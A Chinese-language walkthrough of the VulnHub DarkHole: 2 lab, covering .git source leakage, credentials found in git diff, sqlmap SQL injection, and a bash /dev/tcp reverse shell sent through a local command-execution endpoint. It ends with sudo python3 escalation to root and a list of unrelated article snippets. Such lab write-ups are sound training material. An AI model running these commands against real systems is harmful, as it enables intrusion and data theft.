[vulnhub] DarkHole: 2
https://www.vulnhub.com/entry/darkhole-2,740/
端口扫描主机发现
-
探测存活主机,
185
是靶机# nmap -sP 192.168.75.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 18:02 CST Nmap scan report for 192.168.75.1 Host is up (0.00036s latency). MAC Address: 00:50:56:C0:00:08 (VMware) Nmap scan report for 192.168.75.2 Host is up (0.00030s latency). MAC Address: 00:50:56:FB:CA:45 (VMware) Nmap scan report for 192.168.75.185 Host is up (0.00028s latency). MAC Address: 00:0C:29:1E:D3:AD (VMware) Nmap scan report for 192.168.75.254 Host is up (0.00033s latency). MAC Address: 00:50:56:FE:CA:7A (VMware) Nmap scan report for 192.168.75.151
-
探测主机所有开放端口
nmap -sT -min-rate 10000 -p- 192.168.75.185 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 18:03 CST Nmap scan report for 192.168.75.185 Host is up (0.00040s latency). Not shown: 65533 closed tcp ports (conn-refused) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 00:0C:29:1E:D3:AD (VMware)
-
探测服务版本以及系统版本
nmap -sV -sT -O -p 80,22 192.168.75.185 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 18:04 CST Nmap scan report for 192.168.75.185 Host is up (0.00067s latency).PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) MAC Address: 00:0C:29:1E:D3:AD (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 4.X|5.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 OS details: Linux 4.15 - 5.8 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
-
扫描漏洞
nmap -script=vuln -p 80,22 192.168.75.185 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 18:05 CST Nmap scan report for 192.168.75.185 Host is up (0.00078s latency).PORT STATE SERVICE 22/tcp open ssh 80/tcp open http | http-git: | 192.168.75.185:80/.git/ | Git repository found! | Repository description: Unnamed repository; edit this file 'description' to name the... |_ Last commit message: i changed login.php file for more secure |_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug) | http-csrf: | Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=192.168.75.185 | Found the following possible CSRF vulnerabilities: | | Path: http://192.168.75.185:80/login.php | Form id: email |_ Form action: | http-cookie-flags: | /: | PHPSESSID: | httponly flag not set | /login.php: | PHPSESSID: |_ httponly flag not set |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. | http-enum: | /login.php: Possible admin folder | /.git/HEAD: Git folder | /config/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)' | /js/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)' |_ /style/: Potentially interesting directory w/ listing on 'apache/2.4.41 (ubuntu)'
找到
.git
,可能存在源码泄露
web渗透
-
访问主页,存在登陆页面连接
-
扫描目录
dirsearch -u http://192.168.75.185 -x 403,404 // [18:11:11] 301 - 313B - /js -> http://192.168.75.185/js/ [18:11:13] 301 - 315B - /.git -> http://192.168.75.185/.git/ [18:11:13] 200 - 600B - /.git/ [18:11:13] 200 - 41B - /.git/COMMIT_EDITMSG [18:11:13] 200 - 73B - /.git/description [18:11:13] 200 - 23B - /.git/HEAD [18:11:13] 200 - 674B - /.git/hooks/ [18:11:13] 200 - 130B - /.git/config [18:11:13] 200 - 1KB - /.git/index [18:11:13] 200 - 460B - /.git/info/ [18:11:13] 200 - 240B - /.git/info/exclude [18:11:13] 200 - 485B - /.git/logs/ [18:11:13] 200 - 554B - /.git/logs/HEAD [18:11:13] 301 - 331B - /.git/logs/refs/heads -> http://192.168.75.185/.git/logs/refs/heads/ [18:11:13] 200 - 554B - /.git/logs/refs/heads/master [18:11:13] 200 - 669B - /.git/objects/ [18:11:13] 301 - 325B - /.git/logs/refs -> http://192.168.75.185/.git/logs/refs/ [18:11:13] 200 - 41B - /.git/refs/heads/master [18:11:13] 301 - 326B - /.git/refs/heads -> http://192.168.75.185/.git/refs/heads/ [18:11:13] 301 - 325B - /.git/refs/tags -> http://192.168.75.185/.git/refs/tags/ [18:11:13] 200 - 465B - /.git/refs/ [18:11:13] 200 - 510B - /.idea/ [18:11:13] 301 - 316B - /.idea -> http://192.168.75.185/.idea/ [18:11:14] 200 - 192B - /.idea/modules.xml [18:11:14] 200 - 926B - /.idea/workspace.xml [18:11:32] 301 - 317B - /config -> http://192.168.75.185/config/ [18:11:33] 200 - 457B - /config/ [18:11:34] 200 - 11B - /dashboard.php [18:11:43] 200 - 456B - /js/ [18:11:45] 200 - 484B - /login.php [18:11:46] 302 - 0B - /logout.php -> index.php [18:12:03] 301 - 316B - /style -> http://192.168.75.185/style/
- 清一色的
.git
可以尝试有没有.git
源码泄露 config/
应该是配置文件
- 清一色的
-
测试是否存在源码泄露
https://www.freebuf.com/articles/web/346607.html
因为我们找到了
.git
,所以我们要针对git
-
访问
/.git/config
存在该目录,存在源码泄露漏洞[core]repositoryformatversion = 0filemode = falsebare = falselogallrefupdates = truesymlinks = falseignorecase = true
-
使用工具
git-dumper
https://github.com/arthaud/git-dumper
使用
pip install git-dumper
安装git-dumper http://192.168.75.185/.git/ ./185
将所有源码文件下载下来了,下载到当前目录的
185
文件夹里ls -al ./185 // drwxr-xr-x 7 root root 4096 11月 9日 01:25 . drwxr-xr-x 4 root root 4096 11月 9日 01:41 .. drwxr-xr-x 2 root root 4096 11月 9日 01:25 config -rw-r--r-- 1 root root 5578 11月 9日 01:25 dashboard.php drwxr-xr-x 7 root root 4096 11月 9日 01:25 .git drwxr-xr-x 2 root root 4096 11月 9日 01:25 .idea -rw-r--r-- 1 root root 1094 11月 9日 01:25 index.php drwxr-xr-x 2 root root 4096 11月 9日 01:25 js -rw-r--r-- 1 root root 1493 11月 9日 01:25 login.php -rw-r--r-- 1 root root 179 11月 9日 01:25 logout.php drwxr-xr-x 2 root root 4096 11月 9日 01:25 style
-
代码审计
上面已将源码文件下载了,现在开始要代码审计
-
config.php
文件,是数据库配置文件,用户名为root
但是密码为空
<?php $connect = new mysqli("localhost","root","","darkhole_2");
-
login.php
<?php session_start(); require 'config/config.php'; if($_SERVER['REQUEST_METHOD'] == 'POST'){ $email = mysqli_real_escape_string($connect,htmlspecialchars($_POST['email'])); $pass = mysqli_real_escape_string($connect,htmlspecialchars($_POST['password'])); $check = $connect->query("select * from users where email='$email' and password='$pass' and id=1"); if($check->num_rows){$_SESSION['userid'] = 1;header("location:dashboard.php");die();} } ?>
应该是可以绕过的?但是我没有成功
-
进入
185
文件夹查看日志(因为文件夹还留着.git
,所以可以使用git
命令)git log // commit 0f1d821f48a9cf662f285457a5ce9af6b9feb2c4 (HEAD -> master) Author: Jehad Alqurashi <anmar-v7@hotmail.com> Date: Mon Aug 30 13:14:32 2021 +0300i changed login.php file for more securecommit a4d900a8d85e8938d3601f3cef113ee293028e10 Author: Jehad Alqurashi <anmar-v7@hotmail.com> Date: Mon Aug 30 13:06:20 2021 +0300I added login.php file with default credentialscommit aa2a5f3aa15bb402f2b90a07d86af57436d64917 Author: Jehad Alqurashi <anmar-v7@hotmail.com> Date: Mon Aug 30 13:02:44 2021 +0300
出现三次提交以及作者时间等
-
对比三次提交
git diff
#获得当前目录上次提交和本地索引的差距,也就是你在什么地方修改了代码.# git diff 0f1d821f48a9cf662f285457a5ce9af6b9feb2c4 # git diff a4d900a8d85e8938d3601f3cef113ee293028e10diff --git a/login.php b/login.php index 8a0ff67..0904b19 100644 --- a/login.php +++ b/login.php @@ -2,7 +2,10 @@session_start();require 'config/config.php';if($_SERVER['REQUEST_METHOD'] == 'POST'){ - if($_POST['email'] == "lush@admin.com" && $_POST['password'] == "321"){ + $email = mysqli_real_escape_string($connect,htmlspecialchars($_POST['email'])); + $pass = mysqli_real_escape_string($connect,htmlspecialchars($_POST['password'])); + $check = $connect->query("select * from users where email='$email' and password='$pass' and id=1"); + if($check->num_rows){$_SESSION['userid'] = 1;header("location:dashboard.php");die();
可以看到
- if($_POST['email'] == "lush@admin.com" && $_POST['password'] == "321")
出现了邮箱以及密码,可以尝试登陆后台
-
使用的得到账号密码登录后台,成功进入
利用后台
-
使用的得到账号密码登录后台,成功进入后台
-
url
是/dashboard.php?id=1
,像是存在sql
注入,可以尝试下/dashboard.php?id=1' # 页面空白 /dashboard.php?id=1'--+ # 成功闭合,存在注入
就不使用手工注入了,直接上
sqlmap
,记得要想拿到cookie
,不然没有登陆状态sqlmap -u http://192.168.75.185/dashboard.php?id=1 --cookie PHPSESSID=n22sg8e16sjbgs2c7g7kffofmf -batch
爆出两张表
users
以及ssh
,ssh
应该是能使用ssh
登录的用户,两张表的数据我们都dump
下# users +----+----------------+-------------------------------------------+----------+-----------------------------+----------------+ | id | email | address | password | username | contact_number | +----+----------------+-------------------------------------------+----------+-----------------------------+----------------+ | 1 | lush@admin.com | Street, Pincode, Province/State, Country | 321 | Jehad Alqurashiasddasdasdas | 1 | +----+----------------+-------------------------------------------+----------+-----------------------------+----------------+ # ssh +----+------+--------+ | id | pass | user | +----+------+--------+ | 1 | fool | jehad | +----+------+--------+
-
我们拿
ssh
表的用户去登陆下
提权 - jehad用户
-
我们拿
ssh
表的用户去登陆下ssh jehad@192.168.75.185 jehad@darkhole:~$
获得
shell
!!! -
查看权限
jehad@darkhole:~$ whoami jehad jehad@darkhole:~$ id uid=1001(jehad) gid=1001(jehad) groups=1001(jehad) jehad@darkhole:~$ uname -a Linux darkhole 5.4.0-81-generic #91-Ubuntu SMP Thu Jul 15 19:09:17 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
-
寻找敏感文件
-
/home/losy
目录下存在user.txt
是flag
文件ehad@darkhole:/home/losy$ cat user.txt DarkHole{'This_is_the_life_man_better_than_a_cruise'}
-
寻找SUID文件
jehad@darkhole:/home/losy$ find / -perm -u=s -type f 2>/dev/null 02:06:46 [3/65] /usr/bin/sudo /usr/bin/passwd /usr/bin/chfn /usr/bin/chsh /usr/bin/fusermount /usr/bin/gpasswd /usr/bin/pkexec /usr/bin/newgrp /usr/bin/umount /usr/bin/mount /usr/bin/su /usr/bin/at /usr/lib/openssh/ssh-keysign /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/policykit-1/polkit-agent-helper-1 /usr/lib/eject/dmcrypt-get-device /usr/lib/snapd/snap-confine
想尝试
snapd
提权的,但是版本对不上
-
-
查看
bash
历史记录jehad@darkhole:~$ cat .bash_history
发现执行了很多
curl "http://127.0.0.1:9999/?cmd=<命令>"
之类的,估计9999
端口下是一个能进行RCE
的页面 -
我们也尝试执行下
-
先试试
id
,发现是losy
的权限jehad@darkhole:~$ curl http://127.0.0.1:9999/?cmd=id Parameter GET['cmd']uid=1002(losy) gid=1002(losy) groups=1002(losy)
-
-
获得
losy
用户的权限-
跟着反弹shell命令
因为靶机的
nc
没有-e
参数,只能通过其他方式来反弹shell
# 通过shell bash -c 'bash -i >& /dev/tcp/192.168.75.151/1234 0>&1'
-
将其进行URl编码
bash+-c+%27bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.75.151%2f1234+0%3e%261%27
-
构建命令
curl "http://127.0.0.1:9999/?cmd=bash+-c+%27bash+-i+%3e%26+%2fdev%2ftcp%2f192.168.75.151%2f1234+0%3e%261%27"
-
kali
开启监听,执行命令nc -lvp 1234 listening on [any] 1234 ... 192.168.75.185: inverse host lookup failed: Unknown host connect to [192.168.75.151] from (UNKNOWN) [192.168.75.185] 33342 bash: cannot set terminal process group (1215): Inappropriate ioctl for device bash: no job control in this shell losy@darkhole:/opt/web$
获得
losy
的shell
!!!
-
提权 - losy用户
-
和之前一样,我们先查看
bash
历史记录可以找到
losy
的密码为gang
-
进行
ssh
登录,能过得交互性更好的shell
-
查看权限
-
SUDO
,可以以root权限执行python3
,可以提权了```python losy@darkhole:~$ sudo -l [sudo] password for losy: Matching Defaults entries for losy on darkhole:env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser losy may run the following commands on darkhole:(root) /usr/bin/python3
-
-
使用
python3
提权,使用python
生成虚拟终端即可losy@darkhole:~$ sudo /usr/bin/python3 -c "import pty;pty.spawn('/bin/sh')" # whoami root
获得
root
!!!! -
读取
flag
文件# cat root.txt DarkHole{'Legend'}
总结
.git
的使用,以及git diff
;以及bash_history
也可能存在敏感内容;
相关文章:

[vulnhub] DarkHole: 2
https://www.vulnhub.com/entry/darkhole-2,740/ 端口扫描主机发现 探测存活主机,185是靶机 # nmap -sP 192.168.75.0/24 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-08 18:02 CST Nmap scan report for 192.168.75.1 Host is up (0.…...
《XGBoost算法的原理推导》12-2 t轮迭代中对样本i的预测值 公式解析
本文是将文章《XGBoost算法的原理推导》中的公式单独拿出来做一个详细的解析,便于初学者更好的理解。 好的,公式(12-2)表示的是 XGBoost 在第 t t t 轮迭代中对样本 i i i 的预测值。它说明了在第 t t t 轮迭代中,模型的预测是通过累加之前…...

./bin/mindieservice_daemon启动成功
接MindIE大模型测试及报错Fatal Python error: PyThreadState_Get: the function must be called with the GIL held,-CSDN博客经过调整如下红色部分参数,昇腾310P3跑起来了7b模型: rootdev-8242526b-01f2-4a54-b89d-f6d9c57c692d-qjhpf:/home/apulis-de…...
Linux: network: ip link M-DOWN的具体含义是什么?
文章目录 参考简介实例代码解释openstack上的显示如果是在一个interface上建立了vlan参考 https://unix.stackexchange.com/questions/348327/using-ip-what-does-m-down-mean www.policyrouting.org/iproute2.doc.html#ss9.1 简介 是指上一级的接口的状态。 实例 4: ersp…...

Spring中的过滤器和拦截器
Spring中的过滤器和拦截器 一、引言 在Spring框架中,过滤器(Filter)和拦截器(Interceptor)是实现请求处理的两种重要机制。它们都基于AOP(面向切面编程)思想,用于在请求的生命周期…...
leetcode20.括号匹配
题目描述 给定一个只包括 ‘(’,‘)’,‘{’,‘}’,‘[’,‘]’ 的字符串 s ,判断字符串是否有效。 有效字符串需满足: 左括号必须用相同类型的右括号闭合。 左括号必须以正确的顺序闭合。 每个…...
Unity性能优化-具体操作
批量渲染是通过减少CPU向GPU发送渲染命令(DrawCall)的次数,以及减少GPU切换渲染状态的次数,尽量让GPU一次多做一些事情,来提升逻辑线和渲染线的整体效率。 Draw Call性能消耗原因是命令从Runtime到Driver的过程中&…...

【嵌入式开发——ARM】1ARM架构
嵌入式领域,使用ARM架构的芯片公司可不占少数吧,intel的x86架构主要占据PC、服务器市场,ARM架构主要占据移动市场。x86架构和ARM架构不同的主要原因,是背后使用的计算机指令集不同。计算机有自己的语言系统(汇编&#…...

Linux中.NET读取excel组件,不会出现The type initializer for ‘Gdip‘ threw an exception异常
组件,可通过nuget安装,直接搜名字: ExcelDataReader using ConsoleAppReadFileData.Model; using ExcelDataReader; using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Task…...
mmclassification的配置文件样本
# 需要修改的参数 img_size 480 class_name [fuqi,ok] num_classes len(class_name) data_root /home/apulis-test/teamdata/yz_dataset/fuqi max_epochs300 val_interval1 train_batch_size 16 val_batch_size 1 load_from "swin_tiny_224_b16x64_300e_imagenet_…...

Java基础——类和对象的定义链表的创建,输出
目录 什么是类? 什么是对象? 如何创建链表? 尾插法: 头插法: 输出链表的长度 输出链表的值 什么是类? 创建Java程序必须创建一个类class. .java程序需要经过javac指令将文件翻译为.class字节码文件,…...

Linux应用项目之量产工具(一)——显示系统
目录 前言 项目特点及介绍 ① 简单易用 ② 软件可配置、易扩展 ③ 纯 C 语言编程 软件总框架 显示系统 1.数据结构抽象 disp_manager.h 2.Framebuffer编程 framebuffer.c 3.显示管理 disp_manager.c 4.单元测试 disp_test.c 顶层目录Makefile 顶层目录Makefil…...

Python小白学习教程从入门到入坑------第二十九课 访问模式(语法进阶)
目录 一、访问模式 1.1 r 1.2 w 1.3 1.3.1 r 1.3.2 w 1.3.3 a 1.4 a 一、访问模式 模式可做操作若文件不存在是否覆盖r只能读报错-r可读可写报错是w只能写创建是w可读可写创建是a只能写创建否,追加写a可读可写创建否,追加写 1.1 r r&…...

使用 PageHelper 在 Spring Boot 项目中实现分页查询
目录 前言1. 项目环境配置1.1 添加 PageHelper 依赖1.2 数据库和 MyBatis 配置 2. 统一的分页响应类3. 使用 PageHelper 实现分页查询3.1 Service 层分页查询实现3.2 PageHelper 分页注意事项 4. 控制层调用示例5. 常见问题与解决方案5.1 java.util.ArrayList cannot be cast t…...

深度学习-张量相关
一. 张量的创建 张量简介 张量是pytorch的基本数据结构 张量,英文为Tensor,是机器学习的基本构建模块,是以数字方式表示数据的形式。 例如,图像可以表示为形状为 [3, 224, 224] 的张量,这意味着 [colour_channels, h…...

电脑提示xinput1_3.dll丢失怎么解决,分享6种有效的解决方法
xinput1_3.dll 是一个动态链接库(DLL)文件,它在Windows操作系统中扮演着重要的角色,特别是在处理游戏控制器和其他输入设备的交互方面。这个文件是Microsoft DirectX软件包的一部分,DirectX是微软公司开发的一个多媒体…...

【计网】数据链路层笔记
【计网】数据链路层 数据链路层概述 数据链路层在网络体系结构中所处的地位 链路、数据链路和帧 链路(Link)是指从一个节点到相邻节点的一段物理线路(有线或无线),而中间没有任何其他的交换节点。 数据链路(Data Link)是基于链路的。当在一条链路上传送数据时&a…...
蓝牙FTP 协议详解及 Android 实现
文章目录 前言一、什么是蓝牙 FTP 协议?二、FTP 的工作流程1.蓝牙设备初始化2. 设备发现与配对3. 建立OBEX FTP 连接4. 文件传输文件上传(通过OBEX PUT命令)文件下载(通过OBEX GET命令) 5. 关闭OBEX会话 三、进阶应用与…...
【前端】Svelte:动画效果
在现代前端开发中,动画效果可以大大提升用户体验,使应用更生动、易用。Svelte 提供了灵活的动画 API,让开发者能够快速实现从简单过渡到复杂动画的各种效果。本文将系统性地介绍 Svelte 的动画功能,并通过多个示例演示如何创建动感…...
2024系统架构师--论基于架构的软件设计方法(ABSD)及应用(论文范文)
题目: 基于架构的软件设计(Architecture-Based Software Design,ABSD)方法以构成软件架构的商业、质量和功能需求等要素来驱动整个软件开发过程。ABSD是一个自顶向下,递归细化的软件开发方法,它以软件系统功能的分解为基础,通过选择架构风格实现质量和商业需求,并强调在架…...
在鸿蒙HarmonyOS 5中实现抖音风格的点赞功能
下面我将详细介绍如何使用HarmonyOS SDK在HarmonyOS 5中实现类似抖音的点赞功能,包括动画效果、数据同步和交互优化。 1. 基础点赞功能实现 1.1 创建数据模型 // VideoModel.ets export class VideoModel {id: string "";title: string ""…...

通过Wrangler CLI在worker中创建数据库和表
官方使用文档:Getting started Cloudflare D1 docs 创建数据库 在命令行中执行完成之后,会在本地和远程创建数据库: npx wranglerlatest d1 create prod-d1-tutorial 在cf中就可以看到数据库: 现在,您的Cloudfla…...

iPhone密码忘记了办?iPhoneUnlocker,iPhone解锁工具Aiseesoft iPhone Unlocker 高级注册版分享
平时用 iPhone 的时候,难免会碰到解锁的麻烦事。比如密码忘了、人脸识别 / 指纹识别突然不灵,或者买了二手 iPhone 却被原来的 iCloud 账号锁住,这时候就需要靠谱的解锁工具来帮忙了。Aiseesoft iPhone Unlocker 就是专门解决这些问题的软件&…...
Linux云原生安全:零信任架构与机密计算
Linux云原生安全:零信任架构与机密计算 构建坚不可摧的云原生防御体系 引言:云原生安全的范式革命 随着云原生技术的普及,安全边界正在从传统的网络边界向工作负载内部转移。Gartner预测,到2025年,零信任架构将成为超…...

ServerTrust 并非唯一
NSURLAuthenticationMethodServerTrust 只是 authenticationMethod 的冰山一角 要理解 NSURLAuthenticationMethodServerTrust, 首先要明白它只是 authenticationMethod 的选项之一, 并非唯一 1 先厘清概念 点说明authenticationMethodURLAuthenticationChallenge.protectionS…...
Hive 存储格式深度解析:从 TextFile 到 ORC,如何选对数据存储方案?
在大数据处理领域,Hive 作为 Hadoop 生态中重要的数据仓库工具,其存储格式的选择直接影响数据存储成本、查询效率和计算资源消耗。面对 TextFile、SequenceFile、Parquet、RCFile、ORC 等多种存储格式,很多开发者常常陷入选择困境。本文将从底…...

认识CMake并使用CMake构建自己的第一个项目
1.CMake的作用和优势 跨平台支持:CMake支持多种操作系统和编译器,使用同一份构建配置可以在不同的环境中使用 简化配置:通过CMakeLists.txt文件,用户可以定义项目结构、依赖项、编译选项等,无需手动编写复杂的构建脚本…...

消防一体化安全管控平台:构建消防“一张图”和APP统一管理
在城市的某个角落,一场突如其来的火灾打破了平静。熊熊烈火迅速蔓延,滚滚浓烟弥漫开来,周围群众的生命财产安全受到严重威胁。就在这千钧一发之际,消防救援队伍迅速行动,而豪越科技消防一体化安全管控平台构建的消防“…...

相关类相关的可视化图像总结
目录 一、散点图 二、气泡图 三、相关图 四、热力图 五、二维密度图 六、多模态二维密度图 七、雷达图 八、桑基图 九、总结 一、散点图 特点 通过点的位置展示两个连续变量之间的关系,可直观判断线性相关、非线性相关或无相关关系,点的分布密…...
ThreadLocal 源码
ThreadLocal 源码 此类提供线程局部变量。这些变量不同于它们的普通对应物,因为每个访问一个线程局部变量的线程(通过其 get 或 set 方法)都有自己独立初始化的变量副本。ThreadLocal 实例通常是类中的私有静态字段,这些类希望将…...